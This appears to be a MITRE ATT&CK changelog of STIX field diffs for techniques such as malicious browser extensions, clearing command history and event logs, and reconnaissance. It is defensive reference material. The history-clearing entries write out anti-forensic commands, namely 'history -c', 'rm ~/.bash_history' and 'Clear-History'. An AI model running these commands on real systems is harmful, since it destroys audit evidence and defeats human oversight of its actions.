Previous to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles, however .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS)
Once the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension)
There have also been instances of botnets using a persistent backdoor through malicious Chrome extensions.(Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control.(Citation: Chrome Extension C2 Malware) |
| external_references[1]['source_name'] | Wikipedia Browser Extension | Chrome Extension Crypto Miner |
| external_references[1]['description'] | Wikipedia. (2017, October 8). Browser Extension. Retrieved January 11, 2018. | Brinkmann, M. (2017, September 19). First Chrome extension with JavaScript Crypto Miner detected. Retrieved November 16, 2017. |
| external_references[1]['url'] | https://en.wikipedia.org/wiki/Browser_extension | https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/ |
| external_references[2]['source_name'] | Chrome Extensions Definition | xorrior chrome extensions macOS |
| external_references[2]['description'] | Chrome. (n.d.). What are Extensions?. Retrieved November 16, 2017. | Chris Ross. (2019, February 8). No Place Like Chrome. Retrieved April 27, 2021. |
| external_references[2]['url'] | https://developer.chrome.com/extensions | https://www.xorrior.com/No-Place-Like-Chrome/ |
| external_references[3]['source_name'] | Malicious Chrome Extension Numbers | Chrome Extensions Definition |
| external_references[3]['description'] | Jagpal, N., et al. (2015, August). Trends and Lessons from Three Years Fighting Malicious Extensions. Retrieved November 17, 2017. | Chrome. (n.d.). What are Extensions?. Retrieved November 16, 2017. |
| external_references[3]['url'] | https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf | https://developer.chrome.com/extensions |
| external_references[4]['source_name'] | Chrome Extension Crypto Miner | ICEBRG Chrome Extensions |
| external_references[4]['description'] | Brinkmann, M. (2017, September 19). First Chrome extension with JavaScript Crypto Miner detected. Retrieved November 16, 2017. | De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018. |
| external_references[4]['url'] | https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/ | https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses |
| external_references[5]['source_name'] | ICEBRG Chrome Extensions | Malicious Chrome Extension Numbers |
| external_references[5]['description'] | De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018. | Jagpal, N., et al. (2015, August). Trends and Lessons from Three Years Fighting Malicious Extensions. Retrieved November 17, 2017. |
| external_references[5]['url'] | https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses | https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf |
| external_references[6]['source_name'] | Banker Google Chrome Extension Steals Creds | Chrome Extension C2 Malware |
| external_references[6]['description'] | Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting. Retrieved November 18, 2017. | Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved November 22, 2017. |
| external_references[6]['url'] | https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/ | https://kjaer.io/extension-malware/ |
| external_references[8]['source_name'] | Stantinko Botnet | Banker Google Chrome Extension Steals Creds |
| external_references[8]['description'] | Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware campaign operating covertly since 2012. Retrieved November 16, 2017. | Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting. Retrieved November 18, 2017. |
| external_references[8]['url'] | https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/ | https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/ |
| external_references[9]['source_name'] | Chrome Extension C2 Malware | Stantinko Botnet |
| external_references[9]['description'] | Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved November 22, 2017. | Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware campaign operating covertly since 2012. Retrieved November 16, 2017. |
| external_references[9]['url'] | https://kjaer.io/extension-malware/ | https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/ |
| x_mitre_data_sources[0] | Windows Registry | Process: Process Creation |
| x_mitre_data_sources[1] | File monitoring | Command: Command Execution |
| x_mitre_data_sources[2] | Process use of network | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[3] | Process monitoring | File: File Creation |
| x_mitre_data_sources[4] | Browser extensions | Windows Registry: Windows Registry Key Creation |
| x_mitre_detection | Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates. Monitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation. | Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.
Monitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.
On macOS, monitor the command line for usage of the profiles tool, such as profiles install -type=configuration. Additionally, all installed extensions maintain a plist file in the /Library/Managed Preferences/username/ directory. Ensure all listed files are in alignment with approved extensions.(Citation: xorrior chrome extensions macOS) |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Wikipedia Browser Extension', 'description': 'Wikipedia. (2017, October 8). Browser Extension. Retrieved January 11, 2018.', 'url': 'https://en.wikipedia.org/wiki/Browser_extension'} | |
| x_mitre_contributors | Chris Ross @xorrior |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | In addition to clearing system logs, an adversary may clear | t | 1 | In addition to clearing system logs, an adversary may clear |
| > | the command history of a compromised account to conceal the | > | the command history of a compromised account to conceal the | ||
| > | actions undertaken during an intrusion. Various command inte | > | actions undertaken during an intrusion. Various command inte | ||
| > | rpreters keep track of the commands users type in their term | > | rpreters keep track of the commands users type in their term | ||
| > | inal so that users can retrace what they've done. On Linux | > | inal so that users can retrace what they've done. On Linux | ||
| > | and macOS, these command histories can be accessed in a few | > | and macOS, these command histories can be accessed in a few | ||
| > | different ways. While logged in, this command history is tra | > | different ways. While logged in, this command history is tra | ||
| > | cked in a file pointed to by the environment variable <code> | > | cked in a file pointed to by the environment variable <code> | ||
| > | HISTFILE</code>. When a user logs off a system, this informa | > | HISTFILE</code>. When a user logs off a system, this informa | ||
| > | tion is flushed to a file in the user's home directory calle | > | tion is flushed to a file in the user's home directory calle | ||
| > | d <code>~/.bash_history</code>. The benefit of this is that | > | d <code>~/.bash_history</code>. The benefit of this is that | ||
| > | it allows users to go back to commands they've used before i | > | it allows users to go back to commands they've used before i | ||
| > | n different sessions. Adversaries may delete their commands | > | n different sessions. Adversaries may delete their commands | ||
| > | from these logs by manually clearing the history (<code>his | > | from these logs by manually clearing the history (<code>his | ||
| > | tory -c</code>) or deleting the bash history file <code>rm ~ | > | tory -c</code>) or deleting the bash history file <code>rm ~ | ||
| > | /.bash_history</code>. On Windows hosts, PowerShell has two | > | /.bash_history</code>. Adversaries may also leverage a [N | ||
| > | different command history providers: the built-in history a | > | etwork Device CLI](https://attack.mitre.org/techniques/T1059 | ||
| > | nd the command history managed by the <code>PSReadLine</code | > | /008) on network devices to clear command history data.(Cita | ||
| > | > module. The built-in history only tracks the commands used | > | tion: US-CERT-TA18-106A) On Windows hosts, PowerShell has t | ||
| > | in the current session. This command history is not availab | > | wo different command history providers: the built-in history | ||
| > | le to other sessions and is deleted when the session ends. | > | and the command history managed by the <code>PSReadLine</co | ||
| > | The <code>PSReadLine</code> command history tracks the comma | > | de> module. The built-in history only tracks the commands us | ||
| > | nds used in all PowerShell sessions and writes them to a fil | > | ed in the current session. This command history is not avail | ||
| > | e (<code>$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLin | > | able to other sessions and is deleted when the session ends. | ||
| > | e\ConsoleHost_history.txt</code> by default). This history f | > | The <code>PSReadLine</code> command history tracks the com | ||
| > | ile is available to all sessions and contains all past histo | > | mands used in all PowerShell sessions and writes them to a f | ||
| > | ry since the file is not deleted when the session ends.(Cita | > | ile (<code>$env:APPDATA\Microsoft\Windows\PowerShell\PSReadL | ||
| > | tion: Microsoft PowerShell Command History) Adversaries may | > | ine\ConsoleHost_history.txt</code> by default). This history | ||
| > | run the PowerShell command <code>Clear-History</code> to fl | > | file is available to all sessions and contains all past his | ||
| > | ush the entire command history from a current PowerShell ses | > | tory since the file is not deleted when the session ends.(Ci | ||
| > | sion. This, however, will not delete/flush the <code>Console | > | tation: Microsoft PowerShell Command History) Adversaries m | ||
| > | Host_history.txt</code> file. Adversaries may also delete th | > | ay run the PowerShell command <code>Clear-History</code> to | ||
| > | e <code>ConsoleHost_history.txt</code> file or edit its cont | > | flush the entire command history from a current PowerShell s | ||
| > | ents to hide PowerShell commands they have run.(Citation: So | > | ession. This, however, will not delete/flush the <code>Conso | ||
| > | phos PowerShell command audit)(Citation: Sophos PowerShell C | > | leHost_history.txt</code> file. Adversaries may also delete | ||
| > | ommand History Forensics) | > | the <code>ConsoleHost_history.txt</code> file or edit its co | ||
| > | ntents to hide PowerShell commands they have run.(Citation: | ||||
| > | Sophos PowerShell command audit)(Citation: Sophos PowerShell | ||||
| > | Command History Forensics) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-16 18:09:48.686000+00:00 | 2022-04-20 18:11:16.889000+00:00 |
| description | In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.
On Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions.
Adversaries may delete their commands from these logs by manually clearing the history (history -c) or deleting the bash history file rm ~/.bash_history.
On Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the PSReadLine module. The built-in history only tracks the commands used in the current session. This command history is not available to other sessions and is deleted when the session ends.
The PSReadLine command history tracks the commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History)
Adversaries may run the PowerShell command Clear-History to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the ConsoleHost_history.txt file. Adversaries may also delete the ConsoleHost_history.txt file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics) | In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.
On Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions.
Adversaries may delete their commands from these logs by manually clearing the history (history -c) or deleting the bash history file rm ~/.bash_history.
Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to clear command history data.(Citation: US-CERT-TA18-106A)
On Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the PSReadLine module. The built-in history only tracks the commands used in the current session. This command history is not available to other sessions and is deleted when the session ends.
The PSReadLine command history tracks the commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History)
Adversaries may run the PowerShell command Clear-History to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the ConsoleHost_history.txt file. Adversaries may also delete the ConsoleHost_history.txt file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics) |
| external_references[1]['source_name'] | Microsoft PowerShell Command History | Sophos PowerShell command audit |
| external_references[1]['description'] | Microsoft. (2020, May 13). About History. Retrieved September 4, 2020. | jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020. |
| external_references[1]['url'] | https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7 | https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit |
| external_references[2]['source_name'] | Sophos PowerShell command audit | Microsoft PowerShell Command History |
| external_references[2]['description'] | jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020. | Microsoft. (2020, May 13). About History. Retrieved September 4, 2020. |
| external_references[2]['url'] | https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit | https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7 |
| external_references[3]['source_name'] | Sophos PowerShell Command History Forensics | US-CERT-TA18-106A |
| external_references[3]['description'] | Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved September 4, 2020. | US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. |
| external_references[3]['url'] | https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics | https://www.us-cert.gov/ncas/alerts/TA18-106A |
| x_mitre_data_sources[0] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[1] | PowerShell logs | File: File Deletion |
| x_mitre_data_sources[2] | File monitoring | File: File Modification |
| x_mitre_data_sources[3] | Authentication logs | User Account: User Account Authentication |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Sophos PowerShell Command History Forensics', 'description': 'Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved September 4, 2020.', 'url': 'https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics'} | |
| x_mitre_contributors | Austin Clark, @c2defense | |
| x_mitre_platforms | Network |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['Administrator'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-29 21:17:03.732000+00:00 | 2022-04-20 13:02:07.168000+00:00 |
| external_references[1]['source_name'] | Microsoft wevtutil Oct 2017 | Microsoft Clear-EventLog |
| external_references[1]['description'] | Plett, C. et al.. (2017, October 16). wevtutil. Retrieved July 2, 2018. | Microsoft. (n.d.). Clear-EventLog. Retrieved July 2, 2018. |
| external_references[1]['url'] | https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil | https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog |
| external_references[3]['source_name'] | Microsoft Clear-EventLog | Microsoft wevtutil Oct 2017 |
| external_references[3]['description'] | Microsoft. (n.d.). Clear-EventLog. Retrieved July 2, 2018. | Plett, C. et al.. (2017, October 16). wevtutil. Retrieved July 2, 2018. |
| external_references[3]['url'] | https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog | https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil |
| x_mitre_data_sources[0] | API monitoring | Process: OS API Execution |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[2] | Process monitoring | File: File Deletion |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File monitoring |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's client |
| > | tion about the victim's client configurations that can be us | > | configurations that can be used during targeting. Informati | ||
| > | ed during targeting. Information about client configurations | > | on about client configurations may include a variety of deta | ||
| > | may include a variety of details and settings, including op | > | ils and settings, including operating system/version, virtua | ||
| > | erating system/version, virtualization, architecture (ex: 32 | > | lization, architecture (ex: 32 or 64 bit), language, and/or | ||
| > | or 64 bit), language, and/or time zone. Adversaries may ga | > | time zone. Adversaries may gather this information in vario | ||
| > | ther this information in various ways, such as direct collec | > | us ways, such as direct collection actions via [Active Scann | ||
| > | tion actions via [Active Scanning](https://attack.mitre.org/ | > | ing](https://attack.mitre.org/techniques/T1595) (ex: listeni | ||
| > | techniques/T1595) (ex: listening ports, server banners, user | > | ng ports, server banners, user agent strings) or [Phishing f | ||
| > | agent strings) or [Phishing for Information](https://attack | > | or Information](https://attack.mitre.org/techniques/T1598). | ||
| > | .mitre.org/techniques/T1598). Adversaries may also compromis | > | Adversaries may also compromise sites then include malicious | ||
| > | e sites then include malicious content designed to collect h | > | content designed to collect host information from visitors. | ||
| > | ost information from visitors.(Citation: ATT ScanBox) Inform | > | (Citation: ATT ScanBox) Information about the client configu | ||
| > | ation about the client configurations may also be exposed to | > | rations may also be exposed to adversaries via online or oth | ||
| > | adversaries via online or other accessible data sets (ex: j | > | er accessible data sets (ex: job postings, network maps, ass | ||
| > | ob postings, network maps, assessment reports, resumes, or p | > | essment reports, resumes, or purchase invoices). Gathering t | ||
| > | urchase invoices). Gathering this information may reveal opp | > | his information may reveal opportunities for other forms of | ||
| > | ortunities for other forms of reconnaissance (ex: [Search Op | > | reconnaissance (ex: [Search Open Websites/Domains](https://a | ||
| > | en Websites/Domains](https://attack.mitre.org/techniques/T15 | > | ttack.mitre.org/techniques/T1593) or [Search Open Technical | ||
| > | 93) or [Search Open Technical Databases](https://attack.mitr | > | Databases](https://attack.mitre.org/techniques/T1596)), esta | ||
| > | e.org/techniques/T1596)), establishing operational resources | > | blishing operational resources (ex: [Develop Capabilities](h | ||
| > | (ex: [Develop Capabilities](https://attack.mitre.org/techni | > | ttps://attack.mitre.org/techniques/T1587) or [Obtain Capabil | ||
| > | ques/T1587) or [Obtain Capabilities](https://attack.mitre.or | > | ities](https://attack.mitre.org/techniques/T1588)), and/or i | ||
| > | g/techniques/T1588)), and/or initial access (ex: [Supply Cha | > | nitial access (ex: [Supply Chain Compromise](https://attack. | ||
| > | in Compromise](https://attack.mitre.org/techniques/T1195) or | > | mitre.org/techniques/T1195) or [External Remote Services](ht | ||
| > | [External Remote Services](https://attack.mitre.org/techniq | > | tps://attack.mitre.org/techniques/T1133)). | ||
| > | ues/T1133)). | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 03:52:10.774000+00:00 | 2021-10-17 16:35:09.668000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). | Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | Internet scanners may be used to look for patterns associated with malicious content designed to collect client configuration information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-08-13 16:53:55.390000+00:00 | 2021-03-16 12:54:41.133000+00:00 |
| x_mitre_data_sources[0] | Stackdriver logs | User Account: User Account Metadata |
| x_mitre_data_sources[1] | AWS CloudTrail logs | Command: Command Execution |
| x_mitre_platforms[0] | AWS | Azure AD |
| x_mitre_platforms[1] | GCP | Office 365 |
| x_mitre_platforms[2] | Azure | SaaS |
| x_mitre_platforms[3] | Office 365 | IaaS |
| x_mitre_platforms[4] | Azure AD | Google Workspace |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Azure activity logs | |
| x_mitre_data_sources | Office 365 account logs | |
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Process command-line parameters | |
| x_mitre_platforms | SaaS |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-14 19:19:00.966000+00:00 | 2021-03-16 12:56:36.098000+00:00 |
| x_mitre_data_sources[0] | Office 365 audit logs | User Account: User Account Authentication |
| x_mitre_data_sources[1] | Azure activity logs | Logon Session: Logon Session Creation |
| x_mitre_platforms[0] | AWS | Azure AD |
| x_mitre_platforms[1] | GCP | Office 365 |
| x_mitre_platforms[2] | Azure | IaaS |
| x_mitre_platforms[3] | Azure AD | Google Workspace |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Stackdriver logs | |
| x_mitre_data_sources | AWS CloudTrail logs | |
| x_mitre_platforms | Office 365 |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-23 14:31:41.758000+00:00 | 2021-03-16 12:57:03.837000+00:00 |
| x_mitre_data_sources[0] | Azure activity logs | Cloud Service: Cloud Service Enumeration |
| x_mitre_data_sources[1] | Stackdriver logs | Cloud Service: Cloud Service Metadata |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | IaaS | |
| x_mitre_platforms | Google Workspace |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | AWS CloudTrail logs | |
| x_mitre_platforms | AWS | |
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may create self-si | t | 1 | Adversaries may create self-signed code signing certificates |
| > | gned code signing certificates that can be used during targe | > | that can be used during targeting. Code signing is the proc | ||
| > | ting. Code signing is the process of digitally signing execu | > | ess of digitally signing executables and scripts to confirm | ||
| > | tables and scripts to confirm the software author and guaran | > | the software author and guarantee that the code has not been | ||
| > | tee that the code has not been altered or corrupted. Code si | > | altered or corrupted. Code signing provides a level of auth | ||
| > | gning provides a level of authenticity for a program from th | > | enticity for a program from the developer and a guarantee th | ||
| > | e developer and a guarantee that the program has not been ta | > | at the program has not been tampered with.(Citation: Wikiped | ||
| > | mpered with.(Citation: Wikipedia Code Signing) Users and/or | > | ia Code Signing) Users and/or security tools may trust a sig | ||
| > | security tools may trust a signed piece of code more than an | > | ned piece of code more than an unsigned piece of code even i | ||
| > | unsigned piece of code even if they don't know who issued t | > | f they don't know who issued the certificate or who the auth | ||
| > | he certificate or who the author is. Prior to [Code Signing | > | or is. Prior to [Code Signing](https://attack.mitre.org/tec | ||
| > | ](https://attack.mitre.org/techniques/T1553/002), adversarie | > | hniques/T1553/002), adversaries may develop self-signed code | ||
| > | s may develop self-signed code signing certificates for use | > | signing certificates for use in operations. | ||
| > | in operations. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Malware Repository: Malware Metadata'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-15 01:15:54.945000+00:00 | 2021-10-17 16:07:08.549000+00:00 |
| description | Before compromising a victim, adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may develop self-signed code signing certificates for use in operations. | Adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may develop self-signed code signing certificates for use in operations. |
